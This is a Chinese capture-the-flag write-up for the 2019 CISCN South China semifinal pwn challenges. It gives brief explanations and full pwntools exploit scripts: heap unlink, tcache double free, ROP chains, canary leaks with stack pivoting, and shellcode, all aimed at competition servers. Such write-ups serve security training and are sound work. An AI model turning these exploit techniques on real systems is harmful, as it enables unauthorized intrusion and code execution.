2019CISCN华南赛区半决赛之pwn
DAY1
pwn1
一道堆漏洞利用的程序,64位程序,除了pie以外其他保护机制都开了
主要的漏洞点就出在这里,一个off by null,由于malloc的时候有限制,只能输入0x80--0x100的大小,这里比较好用的办法就是unlink,进行一次任意地址写
这里比较骚的地方是存在key1限制了edit函数的使用次数,以及存在key2限制使用show函数
主要的利用思路是:
- 先unlink一次使得key2为1,从而能show出libc,同时在用一次offbynull,使得key1为0
- 再次利用两次的edit,修改free_hook为system
- free一个内容为/bin/sh的chunk,即可getshell
exp
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def piedebug(addr):
text_base = int(os.popen("pmap {}|awk '{{print $1}}'".format(p.pid)).readlines()[2],16)
log.info("elf_base:{}".format(hex(text_base)))
log.info("fake_heap:{}".format(hex(text_base + 0x202018)))
#log.info("get_array:{}".format(hex(text_base + 0x202140)))
if addr!=0:
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p)
pause()
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,addr)
pause()
def getshell():
p.interactive()
def msg(msg,addr):
log.warn(msg+"->"+hex(addr))
#-------------------------------------
def new(idx,size,content):
rc()
sl("1")
ru("index:\n")
sl(str(idx))
ru("size:\n")
sd(str(size))
ru("gift: ")
leak = int(ru("\n"),16)
ru("content:\n")
sd(content)
return leak
def edit(idx,content):
rc()
sl("3")
ru("index:\n")
sd(str(idx))
ru("content:\n")
sd(content)
def free(idx):
ru("4.show\n")
sl("2")
ru("index:\n")
sd(str(idx))
def exp():
new(2,0xf8,"/bin/sh")
heap=new(32,0xf8,"a"*8)
bss = 0x6020E0 + 32*8 #heap-0x10
fd = bss-3*8
bk = fd+8
pay = p64(0)+p64(0xf1)
pay+= p64(fd)+p64(bk)
pay = pay.ljust(0xf0)
pay += p64(0xf0)
new(31,0xf8,"a"*8)
new(30,0xf8,"a"*8)
edit(32,pay)
free(31)#unlink
target = 0x6020E0 + 32*8 - 0x18
pay = p64(target)*3 + p64(elf.got['free'])
pay = pay.ljust(0xf0,'a')
pay += p64(1)
edit(32,pay)
sl("4")
ru("index:")
sl("32")
p.recvline()
leak = u64(p.recvline()[:6].ljust(8,'\x00'))
libc_base = leak - libc.symbols['free']
system = libc.symbols['system'] + libc_base
free_hook = libc.symbols['__free_hook'] + libc_base
print hex(leak)
success(hex(system))
pay = 'a'*0x18 + p64(free_hook)
pay = pay.ljust(0xf0,'a')
pay += p64(1)a
edit(30,pay)
edit(32,p64(system))
free(2)
p.interactive()
if __name__ == '__main__':
bin_elf = "./pwn"
elf = ELF(bin_elf)
context.binary=bin_elf
context.log_level = "debug"
#context.terminal=['tmux', 'splitw', '-h']
if sys.argv[1] == "r":
p = remote("172.29.3.112","9999")
libc = elf.libc
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
exp()
pwn4
32位程序,只开了nx保护,简单栈溢出漏洞
from pwn import*
context.log_level = "debug"
elf = ELF('./pwn')
p = remote("172.29.3.115","9999")
#p = process('./pwn')
libc = elf.libc
payload = 'a'*0x28
p.recv()
p.sendline(payload)
p.recvuntil('a'*0x28)
p.recv(8)
leak = u32(p.recv(4))
success(hex(leak))
libc_base = leak - 0x1b23dc
libc.address = libc_base
one = libc_base + 0x3ac69
print p.recv()
payload = 'a'*0x28 + 'bbbb' + p32(one)
p.sendline(payload)
p.interactive()
pwn8
64位只开了nx的静态编译程序
看起来是一道很麻烦的逆向题,实际上只是一个异或加密+栈溢出,生成ropchain,一把梭就完事了
exp
from pwn import*
#io = process("./easy_pwn")
io = remote("172.29.3.119","9999")
elf = ELF("./easy_pwn")
context.log_level = "debug"
from struct import pack
# Padding goes here
p = ''
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e0) # @ .data
p += pack('<Q', 0x0000000000449b9c) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004006e6) # pop rdi ; ret
p += pack('<Q', 0x00000000006ba0e0) # @ .data
p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000449bf5) # pop rdx ; ret
p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000449b9c) # pop rax; ret
p += p64(59) # add rax, 1 ; ret
p += pack('<Q', 0x000000000040139c) # syscall
strings = ""
for i in p :
strings += chr(ord(i)^0x66)
pay = 'a'*0x50 + strings
io.recv()
io.sendline(pay)
io.interactive()
DAY2
pwn3
64位只开了nx
这题本质上也是一个栈溢出,据说官方解法是srop
但我这里用的是系统调用execve(/bin//sh,0,0)这样的方法
因为这里有条这样的gadget,不用白不用啊
exp
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def piedebug(addr):
text_base = int(os.popen("pmap {}|awk '{{print $1}}'".format(p.pid)).readlines()[1],16)
log.info("elf_base:{}".format(hex(text_base)))
log.info("fake_heap:{}".format(hex(text_base + 0x202018)))
#log.info("get_array:{}".format(hex(text_base + 0x202140)))
if addr!=0:
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p)
pause()
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,addr)
pause()
def getshell():
p.interactive()
def msg(msg,addr):
log.warn(msg+"->"+hex(addr))
#-------------------------------------
def exp():
aaa=asm(shellcraft.sh())
pop_rdi_ret=0x00000000004005a3
pop_rsi_r15=0x00000000004005a1
pop_r14_r15=0x00000000004005a0
mov_eax_exe_ret=0x00000000004004e3
pop_r12_r13_r14_r15=0x000000000040059c
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdx_r13_rsi_r14_edi_r15_call=0x400580
#call r12+rbx*8
ret=0x004003a9
main = 0x4004ED
syscall_ret=0x0000000000400517
g = 0x4004da
pay = "a"*16+p64(main)
sd(pay)
#print p.recv()
stack = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
msg("stack",stack)
stack=stack-0x118
msg("stack",stack)
pay = "/bin//sh\x00".ljust(0x10,"\x00")
pay+=p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(10)+p64(0)+p64(stack)+p64(0)+p64(0)*2
pay+=p64(mov_rdx_r13_rsi_r14_edi_r15_call)
pay+=p64(mov_eax_exe_ret)
pay+=p64(pop_rdi_ret)+p64(stack)
pay+=p64(pop_rsi_r15)+p64(0)*2
pay+=p64(syscall_ret)
sd(pay)
getshell()
if __name__ == '__main__':
bin_elf = "./pwn"
elf = ELF(bin_elf)
context.binary=bin_elf
context.log_level = "debug"
if sys.argv[1] == "r":
p = remote("172.29.3.114",9999)
libc = elf.libc
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
exp()
pwn6
这个略坑,比赛的时候没告诉libc,实际上是glibc2.27
就常规的做法,首先填满tcache,泄漏出libc
接着改fd,double free 改free hook为system
exp
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def piedebug(addr):
text_base = int(os.popen("pmap {}|awk '{{print $1}}'".format(p.pid)).readlines()[1],16)
log.info("elf_base:{}".format(hex(text_base)))
log.info("fake_heap:{}".format(hex(text_base + 0x202018)))
#log.info("get_array:{}".format(hex(text_base + 0x202140)))
if addr!=0:
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p)
pause()
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,addr)
pause()
def getshell():
p.interactive()
def msg(msg,addr):
log.warn(msg+"->"+hex(addr))
#-------------------------------------
def new(size,name,call):
ru("choice:")
sl("1")
ru("Please input the size of compary's name\n")
sl(str(size))
ru("please input name:\n")
sd(name)
ru("please input compary call:\n")
sd(call)
def free(idx):
ru("choice:")
sl("3")
ru("Please input the index:\n")
sl(str(idx))
def show(size):
ru("choice:")
sl("2")
ru("Please input the index:\n")
sl(str(size))
def exp1():
new(0x18,"a"*8,"b"*8)
new(0x100,"a"*8,"b"*8)
new(0x100,"a"*8,"b"*8)
#
free(0)
for x in range(8):
free(1)
new(0x100,"c"*8,"d"*8)#3
show(3)
ru("c"*8)
libc.address = u64(p.recv(6).ljust(8,"\x00"))-88-8-0x10-libc.sym["__malloc_hook"]
free_hook = libc.sym["__free_hook"]
system = libc.sym["system"]
msg("libc.address",libc.address)
new(0x50,"a"*8,"b"*8)#4
new(0x50,"a"*8,"b"*8)
new(0x50,"a"*8,"b"*8)
free(4)
free(4)
new(0x50,p64(free_hook),"b"*8)
#piedebug(0)
new(0x50,"/bin/sh\x00","b"*8)
new(0x50,p64(system),"b"*8)
#piedebug(0)
free(7)
# ru("choice:")
# sl("3")
# print p.recv()
getshell()
pause()
if __name__ == '__main__':
bin_elf = "./pwn"
elf = ELF(bin_elf)
context.binary=bin_elf
context.log_level = "debug"
if sys.argv[1] == "r":
p = remote("172.29.3.117",9999)
libc = elf.libc
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
exp1()
pwn7
64位保护全开,本质上仍然是栈溢出漏洞,只不过是c++写的
由于保护全开,需要依次泄漏出canary,elf base,libc base
然后由于可溢出的字节太少,又需要一波栈迁移,但只需要把栈抬高即可,没必要用到bss
最后就常规rop调用system来getshell
漏洞点就主要在这里
exp
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def piedebug(addr):
text_base = int(os.popen("pmap {}|awk '{{print $1}}'".format(p.pid)).readlines()[1],16)
log.info("elf_base:{}".format(hex(text_base)))
log.info("fake_heap:{}".format(hex(text_base + 0x202018)))
#log.info("get_array:{}".format(hex(text_base + 0x202140)))
if addr!=0:
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p)
pause()
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,addr)
pause()
def getshell():
p.interactive()
def msg(msg,addr):
log.warn(msg+"->"+hex(addr))
#-------------------------------------
def exp():
name ="admin"
new = ""
for i in range(len(name)):
new+=chr(ord(name[i])^i)
#piedebug(0x0118A)
ru("please input your name\n")
sl(new)
ru("do you want to get something???\n")
sd("a"*0x19)
ru("a"*0x18)
canary = u64(p.recv(8))-0x61
stack = u64(p.recv(6).ljust(8,"\x00"))-0x28
msg("canary",canary)
msg("stack",stack)
ru("OK???\n")
sd("b"*0x18+p64(canary))
#pause()
ru("I think you can do something now\n")
pay = "c"*0x18+"a"*0x10+p64(canary)+"a"*8+"\xde\x50"#1/16
#pay = "%7$p%8$p%9$p".ljust(0x18,"\x00")+p64(canary)*4+"\xa2\x11"#1/16
sd(pay)
#print p.recv()
ru("do you want to get something???\n")
sd("a"*0x21)
ru("OK???\n")
sd("b"*0x29)
ru("a"*8)
piebase = u64(p.recv(6).ljust(8,"\x00"))-0x1440
msg("piebase",piebase)
printf_got=elf.got["printf"]+piebase
printf_plt=elf.plt["printf"]+piebase
read_got=elf.got["read"]+piebase
pop_rdi_ret=piebase+0x14a3
leave_ret=piebase+0x10dc
vul = piebase+0x10de
msg("printf_got",printf_got)
msg("printf_plt",printf_plt)
msg("read_got",read_got)
ru("I think you can do something now\n")
gadget = "a"*0x8+p64(pop_rdi_ret)+p64(read_got)+p64(printf_plt)
pay = gadget+p64(vul)+p64(canary)+p64(stack)+p64(leave_ret)
sd(pay)
libc.address = u64(p.recv(6).ljust(8,"\x00"))-libc.sym["read"]
system = libc.sym["system"]
msg("libc.address",libc.address)
ru("do you want to get something???\n")
#piedebug(0x11fe)
sd("a"*0x8)
ru("OK???\n")
sd("b"*0x8)
ru("I think you can do something now\n")
gadget = "/bin/sh\x00"+p64(pop_rdi_ret)+p64(stack)+p64(system)
pay = gadget+p64(0)+p64(canary)+p64(stack-0x10)+p64(leave_ret)
sd(pay)
getshell()
if __name__ == '__main__':
bin_elf = "./pwn"
elf = ELF(bin_elf)
context.binary=bin_elf
context.log_level = "debug"
#context.terminal=['tmux', 'splitw', '-h']
if sys.argv[1] == "r":
p = remote("172.29.3.118",9999)
libc = elf.libc
elif sys.argv[1] == "l":
libc = elf.libc
#取消aslr保护机制
#p = process(bin_elf, aslr=0)
#加入libc进行调试:
#p = process(bin_elf,env = {"LD_PRELOAD": "../libc-2.23.so.i386"})
while True:
try:
p = process(bin_elf)
exp()
except:
p.close()
pwn9
简单栈溢出,nx都没开,很明显,栈里面执行shellcode了
exp
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,addr)
pause()
def getshell():
p.interactive()
def msg(msg,addr):
log.warn(msg+"->"+hex(addr))
#-------------------------------------
def exp():
jmp = 0x08048554
shellcode ='''
xor eax,eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
mov ecx,eax
mov edx,eax
mov al,0xb
int 0x80
xor eax,eax
inc eax
int 0x80
'''
shellcode =asm(shellcode)
shell="sub esp,0x28;call esp"
shell =asm(shell)
ru(">\n")
pay = shellcode.ljust(0x24,"\x00")
pay+= p32(jmp)
pay+=shell
#debug("b *0x8048554")
sl(pay)
getshell()
if __name__ == '__main__':
bin_elf = "./pwn"
elf = ELF(bin_elf)
context.binary=bin_elf
context.log_level = "debug"
#context.terminal=['tmux', 'splitw', '-h']
if sys.argv[1] == "r":
p = remote("172.29.3.120",9999)
libc = elf.libc
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
exp()
附件:
- 2019CISCN华南赛区半决赛题目.zip 下载
3 条评论
可输入 255 字
热门文章